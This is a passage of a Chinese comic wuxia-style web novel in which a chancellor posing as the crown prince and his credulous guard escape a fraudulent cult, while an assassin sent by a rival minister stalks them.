“我是聂小倩吗还黑山老妖?”裴预额头绷出两条青筋,“江蒙,你听听这像话吗?” 今早一觉醒来,他发觉自己躺在床上,额头敷着湿布巾。以为自己是得到医治了,还没来得及高兴,就从江蒙那里得知:他们现在身处邪.教老窝里。 刚出虎穴,又入狼窝,裴预两眼一黑。偏偏江蒙还无知无觉,高兴地跟他说那个什么无极大帝有多牛,不仅可以知晓过去未来,还可以治愈百病,甚至大变活人,无中生有。 “停。”裴预听不下去了。 他可太清楚这些人的底细,每年他案头总会有那么几个折子,要求清缴邪.教。 这些邪.教的手段大同小异,一般而言,先是会造出个“无所不能”的神,例如无极大帝这样,让百姓相信敬仰他。其次,宣扬歪理邪说,特别是灭世论,利用信徒的恐惧控制他们。最后,他们会把信徒集中在一个与世隔绝的地方,彻底洗脑。 这三步走完,信徒们便如同木偶一般,任由他们随意操纵。 可恨这些所谓的“神仙”、“大师”,利用下三滥的手段招摇撞骗、敛财无度、为乱一方。偏生他们最得百姓信赖推崇,官府很难治理。裴预越说越头疼,一转眼看见江蒙脸上的表情,心里一沉:“你不信我?” 江蒙挠了挠脸。 “不是不信你……”她目光飘忽,最终还是在他目光里败下阵来,说了实话:“哎呀,你们这些大老爷嘴里的坏蛋,那确实,不一定真是坏蛋嘛。” 远的不说,就说她们村里不交粮的兄弟们,官老爷肯定得说他们都是杀千刀的刁民。可他们真是吗?县里有个青天大老爷,铁面无私断了个强抢民女案,却因此得罪了不知上头哪一位,被定了罪绑着游街,说他受贿乱断案,是个大恶人。天老爷,那家老头带个闺女卖唱,赚的两个子儿还不够糊口,哪儿还能行贿? “这,”裴预哑火,“这岂可一概而论?” 他猛地坐起身,额头上湿布巾都掉了下去,起猛了,又是一阵头晕。裴预捂着额头,深感无力。 “罢了,你信也无妨。那现在我暂且无性命之忧,咱们还是出发赶路吧,你的那些兄弟可还等着你回去救呢。” 说到这江蒙更高兴了,说不用着急,大帝开了天眼,能望见千里之外,看见狗坨他们已经被救了出来,早就回了村。她再也不用着急了。 “什么、”裴预惊呆,“这你也信?!” “为啥不信?”江蒙也很费解,“到现在为止大帝有说错过吗?我的来历,你的身份,他说的都对呀。” “什么都对,我的身份他分明说错了,他……” 裴预忽然噤声。 好险,差点说漏嘴。看着江蒙迷惑的目光,裴预紧紧闭上嘴巴,把话憋了回去。不能说,若是坦白他不是太子,骗了她一路,只怕不等他死在那什么大帝手里,现在立刻就要被江蒙给掐死。 但是这么一来,就没法拆穿那邪.教头子的谎言,裴预捂着头,看着江蒙一脸清澈的愚蠢,恨铁不成钢。这个家伙,怎么就这么容易轻信别人呢! 信他裴预是太子也就算了,怎么还能信别人是玉皇大帝的亲儿子?! 到了午间,裴预退烧了。 这让江蒙十分高兴。尽管裴预跟她解释说,他大概根本不是瘟疫,只是普通的风寒,休息了一天也该退烧了,然而江蒙却还觉得这是大帝的神力——她甚至还去听了下午的讲经。 回来之后,言之凿凿地告诉裴预,她现在确信,无极大帝确实是玉皇大帝之子,如来座下弟子,东方天庭、西方极乐世界的主人,下凡普度众生的圣者。 裴预还有些虚弱,哼出一个鼻音:“哦?” 江蒙掰手指头跟他算:第一,大帝出生时紫云漫天,这是神仙下凡之征兆。第二,无极大帝俗名张午清,姓张,玉皇大帝俗名张百忍,也姓张。第三,玉皇大帝的儿子和张午清从没有同时现身过。第四,张午清认了这么久的爹,玉帝都没有降下天雷劈死他,可见他没有说谎。综上所述,张午清,确乎是玉帝之子,神仙转世。 “天哪。”裴预仰天长叹,“你才是我的神啊。” 江蒙靠不住,裴预只好靠自己,等她出去听讲经,他拖着病体费劲儿地下床。 邪.教似乎是有意想把他们和其他人隔开,他们现在住在一个僻静小院,接触不到其他人。裴预走到院门,那里甚至有一个信徒在把守,一见他想出去,立刻拦住了他。 “大帝有令,你身上妖气未除,不可随意出去。” 明明江蒙可以随意进出,他却被软禁起来。裴预略一思索,便明白了他们的算盘。不由得心下冷笑。 那守门的信徒是个四十岁左右的农妇,个子高得离谱,都和裴预差不多了。身躯壮硕,孔武有力,立在那儿,比他这个男人气势还足。 难怪会派她来守门。裴预掂量了一下,他似乎,大概,真的打不过这农妇。 江蒙大概可以,但她……裴预摇摇头,这家伙现在指望不上。 硬闯是不行,裴预只得怀柔,试图聊天拉近距离。 “大姐,贵姓?” “赵。” 蹦出这一个字,农妇那两片薄薄的嘴唇就跟黏在一起了一样,再不张开了。 “……我是说,您叫什么?” “俺叫赵燕红。” 赵燕红说完,嘴巴一闭,又不吭声了。接下来裴预无论再问什么,她都好似没听见,一句不言语。整一个油盐不进。 “我要见你们大帝。”最终裴预忍无可忍,撂下这句话,拂袖而去。 13. 第13劫 皈依 《太子野奔》全本免费阅读 裴预脸色瞬间变了。第一反应是四下张望。幸好,江蒙并不在这里。 “你怎么会知道?” 张午清微微一笑,说裴右相自己方才说的话,怎么转头就忘?小老儿知晓过去未来,你的身份,自然在我计算之中。 裴预冷笑:“别废话了,你想干什么?” 他放在桌上的手在袖子里攥紧。 张午清自顾自掸掸衣服,正眼都不看他,叹道:“裴右相的胆量,真是让小老儿佩服。您可是朝廷高官、皇上的左膀右臂,干出冒充太子,招摇撞骗这种事,要是让皇上知道了,他老人家得多伤心呀?” 皇上的脸一闪而过。然后是祖父的眼神……皱着眉,眼睛略微眯起,从嫌恶逐渐变得痛恨。紧接着是韩一成幸灾乐祸的声音:“你玩儿砸啦”…… 好荒唐。这一整件事都好荒唐。他究竟是如何走到这一步的? “我,我们这些信徒,哦,还有那个姓江的小姑娘,都是见证。”张午清接着说道,“右相大人,这一桩罪名,你是无论如何抵赖不了啦。” 裴预故作镇定:“你经营这么大一个教派,很需要钱吧?我可以给你。” 张午清闻言,和身旁那大婶对望一眼,竟然齐齐笑出了声。两人挤眉弄眼,刺耳的笑声回荡在裴预耳边,让他脸色更难看。 “裴右相有所不知,我们大帝可是视金钱如粪土,撂在地上都不乐意捡的。”那大婶讥笑,“更何况大帝要是想要钱,金山银山也是有的,何必劳烦你呢?” “那你到底想要什么?” “右相大人莫惊慌,小老儿并无恶意,也不要裴相什么。”张午清不紧不慢道,“若是裴相愿意,明日小老儿便可护送您回京。” “条件呢?”裴预面无表情。 “方才裴相说的一件事,让小老儿倒有些兴趣。”张午清道,“如蒙不弃,在皇上面前引荐引荐,让小老儿也得见天颜,小老儿自当感激不尽啊。” 果然。裴预心里一沉。 如他所料,张午清盯上了皇上。他一边在心里痛骂这老神棍胆大包天、贪心不足,一边冷笑道:“白日做梦。” “哦?”张午清拖长调子,“那小老儿只好禀告官府,说太子爷跑到我这儿来了,请他们接回尊驾。” “你威胁我?”裴预冷冷道。 张午清语带讥讽,说右相大人说话也忒难听,这怎么能是威胁呢?毕竟小老儿这儿庙小容不下真龙,不敢多留。他说话时那副肆无忌惮的样子,显然是觉着捏死了裴预的把柄,能够将他玩弄于股掌之中了。 裴预在心中冷笑。 他转向张午清,语气轻松:“好啊。你去吧。” 一句话说的张午清一愣。 裴预看他那一脸呆样,忍俊不禁,几乎想指着老神棍好好嘲笑一通。但他到底有涵养,面上没有露出一丝。就听这老神棍磕磕绊绊地问,裴相是认真的吗? 怎么不是认真的呢。 裴预这个右相做的差劲,大事没办成一件,在民间也没落得好名声,被百姓指着鼻子骂奸相。可是,他扪心自问,自己不是那奸佞之人。他对皇上之忠心天日可表,做不出让这种下三滥货色玷污圣听的事儿。 他可以不青史留名,起码要问心无愧。 “好,不愧是裴氏的大公子,就是有傲气。”张午清一下子站起身,脸上那副悠然的表情彻底没了,他几次想说什么,又咽回去,最后气道,“不过裴相最好多想想,想想自己的前途,再不济多想想自己的九族。我给你三天时间,三天之后,你最好改变主意,否则……哼!” 他冷哼一声,一甩袖子走了。 裴预端坐在椅子上,神色动都没动。 江蒙进屋时,就看见裴预坐在桌前,天色已暗,他却不点灯,泥塑一般坐着。一张俊脸冷玉一般,紧绷的下颌线透出一股寒意。 江蒙把食盒放到桌上。裴预不能出去,所以这几日三餐都是由其他人做好,再由她带回来。 “你怎么了?”她问。 裴预被这一声从沉思中醒过来,“嗯”了一声:“我没事。”他这才意识到江蒙回来了,一抬头,她竟然换上了长袍,“你这是?” 江蒙抬起双臂,将身上那件僧不僧道不道的长袍展示给裴预看:“今天是我的皈依仪式,我出门前跟你说了的,你忘啦?” “……” 她穿着长袍,就站在他跟前,裴预却觉得,她离自己很远很远。 他忽然从心里升起一丝恐慌。 “对了,明天开始我就不在这儿住了。”江蒙又道,“我要搬去和其他教众一块儿住。” “什么?!”裴预大惊。 他差点冒出冷汗。这又是那老神棍的毒计,把江蒙从他身边支走,让他独身一人孤立无援,便更好拿捏。而江蒙本就被他们迷惑,若是再离了他,整日浸淫于那邪门歪道里,只怕马上就被彻底洗脑,任他们操纵了! 他也顾不上别的,一把拽住江蒙的衣袖,怕她跑了似的:“我不许你走!” 江蒙袍子都差点被他扯落,手忙脚乱地把衣裳往上拽,莫名其妙道:“这怎么还要你许不许?我入了教,自然该和教众在一起。” “不行。” 裴预紧紧地攥住江蒙的衣角。屋里太暗了,江蒙背着光站,他看不清她脸上的神情。只觉得她站在那儿,俯视着他,脸的位置漆黑一片,冷漠又陌生。 “我呢?”他仰面望她,“你走了,我怎么办?” 这又是奇了。他一个挺大的人,又贵为太子,每天好吃好喝地被教里供着,哪有“怎么办”一说?江蒙便理所当然地说,等你妖气除净,就回京城,继续当你的太子咯。 反正二毛狗坨他们早就没事了,她也不需要他了。 “用完我就扔?”裴预咬牙,“江蒙,你还是不是人?” 这话说的难听。平白无故被这么一通指责,江蒙有一点火气。本来就是他嚷嚷着 14. 第14劫 心血 《太子野奔》全本免费阅读 江蒙这几日过得挺滋润。 有吃有喝,还不用干活,整日只需做些扫洒杂事,上下午各有一场讲经,大家坐在法坛,晒着太阳,吹着春风,听师父讲宇宙真理,吸纳天地灵气。 这一个庄子,真如世外桃源一般。 到了这里,她方才明白为何世道如此艰难,这些个灾荒、洪水、瘟疫、强盗奸官之类恶人不绝,皆是因为上天要降下天罚,这些都是征兆。 将来便会降下一场连续四十昼夜的天雷,到那时,无论人物牲畜、树木花草、山川河流……地面上的一切都会于雷电之中。 只有无极大帝才能救他们。用他那伟大的神力在地下开辟出一方庇护所,带领虔诚的信徒进入地下躲避。 待天罚过去,雷电止息,他们便能从地下走回地上,建立新家园。那时,便不会再有洪水猛兽、恶人奸佞,到处是友善仁爱,人人有地种,人人有饭吃。 可惜现在天下人都不知有这场灾难,只有让更多人皈依无极教,才能有更多人活下来。 如果人人都能信无极教就好了。 想到这儿,江蒙又想到了太子。天杀的,偏他就是不信。 昨日打了他以后,她心里其实也有点不是滋味。觉得对他不住。 刚绑了他时,打就打了,也没觉得怎样愧疚。可这一路相处下来,知道对方不是坏人,救了老赵他们,也答应帮她,人还不错。 虽说有时候是会拿矫,但人家毕竟是太子,喝金饮玉地长大,又不像自己皮糙肉厚,难免娇气。这一路上吃不饱穿不暖的,也实在难为他。 讲经师父说要与人为善,那她揍了人,肯定不对。 要不去给道个歉? 江蒙想到做到,就奔裴预小院里去,走到一半,却听到那边闹哄哄的,大家都往庄子门口赶,见了她,拉着就走。江蒙一头雾水,忙问:“出什么事了?” “有人闹事!” 到了地方,原来是一个年轻人不让搜身,闹腾起来。江蒙先是挤在外圈,看着中间那人有些眼熟,挤进去仔细一瞧,竟然是那日的叶十九。 “叶老弟?”她高兴道,“你怎么来了?” 到底山水有相逢,彼处别此处见。两人欢欢喜喜打过招呼,江蒙便对众人解释,这位是她弟弟,并非是歹人闹事,让大家散了。 既然是信徒的熟人,大家也就不太为难叶十九,只浑身略摸一摸,就算搜过了,放他进去。 “刚来的人都要有这么一出,为的是不让不洁之物冲撞大帝。”江蒙跟他解释,“我的刀就是这样被收走的,还有翠花。” 说起来,也有几日没见着翠花了,不知它现在过得好不好?吃的还习惯不? “多谢姐姐解围,否则十九要惹大麻烦。” 叶十九彬彬有礼。 原来那日叶十九一觉醒来,发现她二人不见了,急忙寻找,问了店家才知道原委。他想着她俩身无分文,担心的很,便四处打听,打听到行踪后,就立刻追到了这里。 说到这儿他担心地问:“怎么不见哥哥?他如何了?” 江蒙大为感动,天下竟有这般好人,不过萍水相逢,就能如此放在心上。她连忙将无极大帝如何救人的事情一说,又领着他去见裴预。 到了小院门口,刚要进去,却被那高大农妇给拦下了。 不让进,就是不让进,哪怕江蒙原先就住在这里也不行,问就是大帝的吩咐。江蒙挠了挠头,只得回身对叶十九道:“等他体内妖气拔除干净再说吧。” 叶十九有一瞬间露出极无语的表情,但很快恢复如常,江蒙没看见。 “按姐姐说的便是。”他乖巧道。 此事就作罢。江蒙原想着,叶十九是想与她同路才追来,如今她暂时不回去,怎好耽误对方行路?便把事情说清楚,请他自去。谁知叶十九却不肯走,说见教中人有趣,想多了解了解。 他肯亲近无极教,江蒙自然欢喜,便帮他留在庄中。 第二日下午讲经已毕,江蒙待要走,那讲经的大婶却飘飘然过来,说大帝有差事交于她。 江蒙当即告辞叶十九,跟着大婶走了,说来她对这大婶还有些感激,毕竟当日若不是碰见她,她也没缘分入无极教。等拜见大帝,他交给她的差事却让她吓了一跳。 去取太子的心头血。 无极大帝望着她的脸表情十分和蔼,黑瘦的面皮上,三角眼弯起,胡子一动一动的,在亲切地跟她说话。他说他炼制法器需要龙血,她与太子最亲近,这件事需交给她做。 “把这个扎进他心里,再拔出来,只要刀尖上的前三滴血就够了。”他干枯如竹节的手指握着匕首,交到她手心里,“切记,必须得是心头血,不要手软扎错了地方。” 江蒙做梦似的低头。 手心里的匕首磨得尖利,白银银的,看一眼目光都要被割伤。让这玩意儿在心里扎一刀,人岂不是直接就死了? “我自会用法力护他周全。”无极大帝道,“你放心,他只会失些血而已。” “是……吗?” “你不信大帝?”一旁的大婶说话了,一向慈祥微笑的脸拉下来,“大帝炼制法器,还不是为了救天下人?为了天下人,让你做一件小事,都不肯么?” 江蒙忙说不是。她自然是相信大帝神力的。 她叩头领命而去,大婶与她同行。江蒙紧紧握住匕首,铜柄上的纹路硌着手心,甚至留下深刻的红印,江蒙却浑然不觉。 “妹子!” 大婶的一声呵斥让她回过神来,一转头,满是皱纹的脸冲她微笑:“快动手呀。” 江蒙抿着嘴唇,转回头。 裴预的脸就在眼前。 不过短短两日功夫,他就憔悴的让她几乎不敢认,脸色灰败,嘴唇干涩,原本秋水一般的双眸,此时却布满血丝,没一点神采。玉兰枯败,桃李萎蔫,他抬起通红的双眼望她,苍白起皮的嘴唇开合。 “你来了。”他说。 “我以为你再不会来见我了。”他又说。 江蒙后退一步,“取血”两个字,就无论如何说不出口了。她握着匕首的手仍背在身后,皱眉道:“你怎么成这样了?你……出什么事了?” “自打你走后,没人给我送过一顿饭,一壶水。”裴预露出个微笑,只是那笑容怎么看怎么惨然,“我能活到现在见到你,已是幸运了。” 江蒙大惊,扭头问大婶是怎么回事,大婶一脸漠然,说是大帝吩咐,五谷之气浑浊,对太子无益,总归用大帝灵力扶持,他不会饿死的。 江蒙很想指着她问人都这样了,这叫不会饿死?但她问不出 15. 第15劫 十九 《太子野奔》全本免费阅读 取心头血推迟到了明日。 无极大帝发了好一通火,可江蒙毫无愧意,一副谁拿老娘都没法的样子,他也无奈。 他特地让江蒙去干,无非是想杀人诛心,给裴预施压,倒不是真急着取他性命。看江蒙样子,不像是觉察了,只是一时心软。 略作思忖,他决定做出让步:今日就让裴预好生休养,明日取血。 正巧信徒端着他的花胶海参鸡汤进来,他一挥手,让江蒙端过去给裴预补补。 当晚,江蒙留在了裴预院中。 庄子里的人日出而作、日暮而息,过了子时,人人都进入深眠,庄子一片寂静。 叶十九睁开眼睛。 屋内昏暗,窗户外头,一轮明月高悬,寂寂的传来几声虫声。他从大通铺坐起身,迈过一旁呼呼大睡的人,下床打开窗,无声无息地跳出去。 落地一抬头,和正巧起夜撒尿的看守大眼瞪小眼。 “……” “你干嘛?你……” 看守话还未说完,叶十九已经绕到他身后,一手抱住脖颈,另一手按住脑瓜,一使劲儿,便扭断了脖子。 另一个坐守门口的信徒,嘴里嘟囔几句梦话,后背在门扉上蹭了蹭。 叶十九把尸身拖到僻静地方,藏好,随后直奔裴预的小院。 来了一天,他已经把这里摸得清楚,即便在黑暗中也畅通无阻。裴预的院子夜晚仍有人看守,但对于叶十九来说不过形同虚设。 他躲过看守,两三下跳上屋顶。 本应轻巧无声,却不知怎么有一块儿瓦没铺好,绊了他一下,弄出些动静。 就听底下机警的一声:“谁在上面?” 这声音分明是江蒙。叶十九一惊:这女人明明被禁止入院,怎么如今却在房中?!在房中便罢了,大半夜的怎么不睡觉? 又听下面江蒙道:“我上去看看。” 叶十九呼吸一屏。 叶十九的十九,并非如他所说是宗族排行,而是韩左相豢养的心腹杀手中,排名十九。 其实他实力足以排进前三,只是运气属实太差。排座次前一天晚上吃坏肚子,当天空了几场,又有抽中劣质兵器、鸟粪落到眼上遮挡视线等等事,最后排名滑到十九。 现在前十八都死在了裴预的护卫手里,正是他叶十九上位的好时机,这次的活儿,他一定要做的滴水不漏。 韩相的要求有三:一,确认此人是裴预无疑。二,下手要低调,不可让别人知道。三,若是被人捉住,他必须立刻自尽,不可把事牵扯到韩相。 第一条简单,他见过裴预,认识他。他推测他们可能会去熏风楼,便在那里守株待兔,果然让他逮住了两人。 裴预身娇体弱,杀他就像捏死只蚂蚁一样容易,麻烦的是他身边那女侍卫。据刘侃说,这侍卫武艺高强,有万夫莫开之勇,在山上尽管他尽力围堵,可还是叫她一人击退百千人马,潇洒脱身而去。 虽然刘侃这么说有夸大敌人、掩饰自己无能的嫌疑,但前十八的实力他是知道的,在他们围剿中裴预其他侍卫都死绝了,唯有她安然无恙,可见实力不俗。 叶十九很倒霉。 越倒霉,越容易失败,所以越谨慎,越小心翼翼。他不敢和江蒙正面对上,怕反被她制住,便乔装打扮成客商,接近二人。 想着降低江蒙的戒备,再伺机动手。 也不知她是真傻还是扮猪吃虎,全无戒心,没两句话就跟他称姐道弟起来。叶十九见她这么好骗,胆子也大了些,就要下手。 趁她不注意,往酒里下了毒。 他晓得自己皮囊是极好的,一双翦水秋瞳含情,双手捧杯殷勤奉上,不信她不吃。 此毒名唤夜来香,服下不会立刻毒发,到了晚上三更时分才会发作,肚肠寸断而死。 江蒙死了,裴预就是砧板上的鱼肉。夜深人静,正好动手,白日事发时,他早从容回京,干净利索。 谁知她却拒绝了。 叶十九媚眼抛给瞎子看,江蒙拒绝的斩钉截铁,他疑心她看出些什么,只好作势要自己喝,然后装作手抖,把毒酒掉下去。 却被她一把捞起来。 酒杯在她指间,一滴也没有洒。 江蒙递过酒杯,双眼直视着他,那微笑的神态,表面诚恳之下,分明是一种玩味的观察。叶十九几乎冒出冷汗,低头看着那杯毒酒,是喝也不是,不喝也不是。 最终狠狠心,接过一口饮尽。 江蒙果然不再疑心。 过了这一关,叶十九又竭力劝他们二人和自己同住,入夜之后,避人耳目,悄悄出去寻解药。夜来香快要发作,肚子疼得很,只好捂紧肚子夹着腿,走了许多家药铺,终于凑齐药方解了毒。急匆匆回来想下手,却已人去楼空。 果真是扮猪吃虎! 怕是早就看出他有鬼,故意装作信了他,哄他喝下毒酒,又来一出金蝉脱壳。叶十九又气又伤心,抓起店家怒问人去哪儿了,店家见他一张芙蓉面拧成活阎罗,吓得结结巴巴,把事情和盘托出。 ……原来还是真傻。 只能说自己时运不济,叶十九早也习惯,只当从头再来,重新打听裴预的去向。 他不着急,在来之前他已经把其他人解决掉了,没人能和他争功。 他可以慢慢的、一步一步的、稳稳当当的,杀了裴预。 结果他们是去了什么……无极教? 叶十九是丈二和尚摸不着头脑。裴预跑到涿郡他能理解,毕竟这里有他的熏风楼。可他跑到那种邪.教去作甚?他不是在逃命路上吗?怎么还有闲心搞一出微服私访? 进去之后,状况更让他疑惑,裴预好像被软禁了,而他的侍卫,江蒙,怎么一副俨然是邪.教中人的模样? 这对主仆到底在搞什么? 状况不明,他不敢轻举妄动,先观察情况。一天后得出结论: 这傻子真被人蒙了,把她主子卖了。 这对于叶十九是个大好的消息,江蒙不在裴预身边,正好便于他动手。 今夜之前,他是这么认为的。 “慢,”裴预的声音,“恐是调虎离山之计, 16. 第16劫 人呢 《太子野奔》全本免费阅读 “小心,那儿有人。”裴预低声,“走这边。” 三人匆匆转了个弯,走另一条路。 走了没多久,江蒙忽然“哎呀”一声,停住脚步。 她说她刀似乎掉在路上了,出门在外,不能没刀,说着就要拉另外两人要回去找。 裴预却坚决反对,此时虽然入夜,可路上还有一些巡逻的信徒,多走一步都是风险。一把刀而已,丢了能怎样? 两人说着说着又要吵起来,叶十九冷眼旁观,忽然灵光一点。 这不就是机会吗? “我随姐姐去。”他道,“哥哥留在这里等我们好了。” 裴预的脸色顿时拉下来,阴沉地看他一眼,又瞪了江蒙一眼。 于是兵分两路,叶十九和江蒙掉回头找刀,裴预则在这里等他们。不过他坚持认为路上有危险,不肯傻站在路上,要先进一旁屋子躲避。 “无极殿。”叶十九念出牌匾,他晃了晃门口拴着的铁锁,“锁上了,进不去。” “我从窗户进去。”裴预道。 他去推窗户,没推动,窗户也从里面关上了。 “你不能进去。”这时江蒙说,“这是无极教放法器的地方,除了大帝和他徒弟,谁都不能擅自闯入,否则要受……” 她话还没说完,裴预发出一声冷嗤。 “……要受天罚的,”江蒙粗声粗气,“你这是什么意思,你不信?” 裴预丝毫不掩饰鄙夷之意:“谁信?” 眼见两人又要急眼,叶十九只好出来打圆场,他是真不想把时间浪费在这两个白痴拌嘴上。江蒙被他拉开,犹自气呼呼的,点点头:“行,别怪我没提醒过你。” 她走到窗边,一拳锤开木窗。 “进去呗。” 叶十九看着断裂的木闩:“……” 裴预脸色黑的能蘸笔,一副压着怒气的样子,但他到底没有发作,把江蒙当空气,直接从窗户爬进去。被木闩勾了一下腿都愣是一声不吭。 看着还挺疼的。 “砰。”窗户被狠狠关上。 “别管他,走吧。”江蒙回头对叶十九道。 其实她对裴预的态度,时常会迷惑叶十九,不像是对主人该有的样子。两人的关系相比主仆,倒更像是冤家。或许这也是两人的一种伪装。 他们沿着旧路回去,叶十九装模作样低头找了一会儿,便对江蒙说,担心裴预一个人手无缚鸡之力,出什么意外。自己想回去看看。 江蒙没有答应,只说再陪她找找。 月光明晃晃的照在路上,找起东西来很容易,叶十九心中暗暗焦急,怕真让江蒙找到刀,那么他就错失和裴预独处的机会,于是再次提出要回去。 这一次,江蒙同意了。 她似乎也在赌气,说要回就叶十九一个人回去,她要继续在这儿找刀。 正中叶十九下怀。 没想到这么轻易就分开了两人,他兴奋地立刻撇下江蒙,原路折返。 他已经想象出带着裴预的脑袋回京复命的场景了,韩相会对他另眼相看,把他奉为座上宾,到时他就不是什么“十九”,而是“首席”。 那些烦人的脏活累活,他可以统统交给手下人做,不用每日疲于出任务了。 怀着这样喜悦心情,叶十九翻进窗户。 屋内空无一人。 叶十九笑容僵在脸上。 正如江蒙所说,这里是存放法器的地方。只是一间大堂,没有隔间或是屏风,只有一个个矮木台,上头放着各种“法器”。什么一看就是刻意做旧的青铜剑、一捆麻绳、几个木鱼、一个巨大的镂空的葫芦……什么稀奇古怪的破烂都有。 就是没人。 “哥哥?”他试探地叫。 当然没有任何回应。 叶十九心中暗骂一句,焦急地在屋内搜寻起来,绕着所有破烂看了一遍……没有,所有东西都明晃晃摆在那里,没有任何能躲藏的地方。他也确定这里没有任何暗道或密室。 他甚至趴到地上查看那些木台子,敲了敲,确实是空心的……但不可能,这些木台只有一掌高,一臂长宽,只有会缩骨功的女人小孩能藏进去,裴预一个高大男人,是不可能进去的。 “砰!” 身后一声响动,叶十九惊得立刻回头。 是江蒙在拍窗。 “叶老弟,你趴在地上做什么?”她道,“我找着刀了,咱们走吧。” 说完她的身影就从窗前走过去,叶十九慢慢从地上爬起来,盯着窗户。片刻后江蒙又出现在了窗前,一脸疑惑地望向他。 “怎么不动?”她道,又探头往里头看,“唉?他呢?” 叶十九不作声,望着月光下她的脸,眯了眯眼睛。 有那么一刻他疑心这是他们的计谋,耍了他,但江蒙脸上的神情真切不似作伪,如果是演的,她都不该去做护卫,该去唱戏。何况现在裴预跑了,若是计谋,她何必再回来? “天罚。”在听叶十九说完后,江蒙脸色骤然变了,“坏了……他冲撞了法器,被消灭了。” “什、什么?” “他肉身被消灭了啊!”江蒙抓住他肩膀猛晃,“不然一个大活人怎么可能凭空消失!” “不……”叶十九被她晃得头晕,“姐姐你冷静点……” 多荒谬啊。 叶十九当然不可能相信这些鬼话,事实上他怀疑也只有江蒙这种被洗脑的才会信,有没有一种可能,裴预是跟他们赌气,自己又跑出去了呢?毕竟他们离开了很久,窗户开着的,腿长在裴预身上。他花了许多口舌,终于把人哄好。 “姐姐你呆在这里别动。”叶十九道,“我去外面找找。” 江蒙呆呆地点点头。 叶十九看她那样子,觉得她应该跑不了,但还是留了个心眼。到外面时,他并没有离开,而是直接翻上了屋顶。 叶十九登高远望。 他们分开的时间并不算长,如果裴预自己跑了,他一定跑不远,站在这里,他可以看见。 如果江蒙现在想趁机跑,他在屋顶也能看见。 叶十九眯着眼睛远眺,整个庄子尽收眼底,能看到一些巡逻的长袍信徒,幽魂一般飘荡,但唯独没有裴预的身影。 他心底有些躁意,转身换了个方向,目光急急地在每条小路仔细搜寻。这时他忽然看见,不远处的路上,正有一大帮人提着灯笼疾步往这里赶来。 速度很快,估计马上就能到这里。 ! 叶十九暗骂一声,连忙从屋顶下去。方才江蒙并没有出屋,他得进去带上她赶紧跑 17. 第17劫 鸡汤 《太子野奔》全本免费阅读 江蒙蜷了蜷脚趾,保持一个姿势时间太久,她腿有点麻。 这儿太窄了,她不得不紧紧贴在内壁,双臂夹在身侧,腿放平伸直,偏过脸,才得以不被压扁鼻子。 她猜对面的太子应该会被挤到脸。 隔着两层薄木板,她看不见他,但是能感觉到腿侧顶着的他的膝盖。他还挺能忍,这么久了,虽然那只膝盖抖得像筛糠,但愣是动也没动。 他们在这无极殿的大葫芦里锁了有快半个时辰。 就是那个镂空的、什么也没有、看上去好像只能坐下一个人的大葫芦。 想到这里,江蒙不由得怒火中烧,恨那乌鸡老头儿耍把式骗她,又悔自己深信不疑。她想起那日他耍把戏时,瘸子一坐进去,葫芦就满满当当,看上去连根指头都塞不进去。 谁能想到它里头居然有夹层,甚至能装得下两个人?! 叶十九没看出来,她也没看出来,没成想太子一个甚至没见过这玩意儿的人,只是听她说过,就能知道它的玄机。 外头悄么声儿的没个动静,江蒙思量人应该已经走了,就悄悄的拿腿挤了挤他膝盖。再待下去,她怕要么她憋死,要么他腿抽筋抽死。 那头太子捏了下她脚腕。 这是叫她继续呆着的意思。江蒙瘪瘪嘴,只好继续乖乖等待。 这是他俩的赌约,她输了,所以必须一切听他差遣,他说往东她不能往西,叫她打狗不能摸鸡。 这事儿还得从昨天晚上说起。 昨晚她奉那无极大帝命令,去给太子送鸡汤补身体,一路上那瓦罐就在她鼻子底下,把她给香惨了。 太子见了却不十分欢喜,墨迹半天确认没毒后,才一勺一勺喝起来。 江蒙坐他对面,心说这小子这能忍,这要是她两天没吃没喝,不得连汤带瓦罐都送肚里去。哪儿还能有这般端庄文雅的吃相。 他心思似乎也不在吃上,总是抬头望她,像是要说什么似的。但总没开口。 江蒙也不管他,只盯着那罐子鸡汤。黄澄澄的汤里卧着只肥鸡,油光瓦亮,花胶、枸杞点缀其间,别提多美了。 她咽了口口水。 今天她被罚没吃晚饭,现在饿的烧心,但她总不能跟他一个两天没吃饭的人抢食吃。 那太子却好像有读心术,把瓦罐推到她跟前,让她别光看着,也吃点儿。江蒙自然是拒绝,但太子态度坚决,说他已经饱了,吃不下。如此你推我往几番,江蒙便说,好吧,那我尝口汤喝喝。 一入口,不得了。 不是好吃……不,好吃倒是好吃,但江蒙顾不上,忙着分辨这股熟悉的味道。她慌忙又捡了块肉吃进嘴里,咂摸两下,尝了个分明—— “翠花!”她惊道,“是你!” 她大叫一声,把那瓦罐扔了,又是惊又是怒又是想哭,一时间瞪着眼睛僵住。一旁太子还以为她是噎着了,上来给她拍背顺气,让她吃慢点,不跟她抢。 江蒙将事情原委说清,就见他脸上现出一种难以言喻的表情。 叹道:“成日家和那帮神经厮混,到底疯了。” 才不是!她吃过翠花的蛋,自然晓得它的味道。太子:“哪里自然了?”江蒙想起它那肥嘟嘟、软蓬蓬、暖呼呼的身子,机灵灵的两只小黑豆眼,再看看地上这一瓦罐惨状,不由得痛哭出声。 那日她亲手将它交出去,竟是亲手将它送上了死路! “翠花!我对不起你!”她跪地痛哭。 她一把鼻涕一把眼泪之余,想到无极大帝,不由得怒火中烧。傍晚她去求那老头子让她出去看看翠花,被那老头子断然拒绝,还说什么开了天眼,看到翠花好得很,不必担心。 可实际上它已被炖成了汤。就被她端在手里! “个老骗子!” 江蒙双眼喷火。头一低看见自己身上长袍,二话不说,两手拽住胸前一扯,那长袍便如蛛网般被轻松撕作两半。 她将那破袍子裹了翠花,到院子里好生安葬。 裴预在一旁,简直被这走向给惊呆。 这像话吗?喝一口鸡汤能认出是哪只鸡? 不过一想到是江蒙,似乎也没那么荒唐。 总之纵然匪夷所思,但这是好事,他思忖了一晚上如何说服江蒙,让她脱离无极教,没想到最终没费一点口舌,只一碗鸡汤,还是张午清送的鸡汤,就让江蒙迷途知返。 只是可怜了翠花。 ……他为什么也相信那就是翠花了? 江蒙跪在院子里头,一面哭,一面拿手挖地。她去了长袍,身上只剩白色里衣,长发斜披在肩,两手脏污,垂头掉泪,好不凄惨。 “……”裴预不能坐视不管,去里屋拿了方才喝鸡汤的勺子出来,蹲下陪她一起掘土。 他俩的动静把门口看守的大姐引了过来,但埋鸡这事儿并没违背无极大帝的命令,她也就没制止。矗在一边儿,沉默地看他俩将裹着教袍的母鸡下葬。 当泥土盖住那小小的尸身时,江蒙哀嚎一声要往里扑,被裴预拉了回来,无言地将她脑袋按到自己肩头。 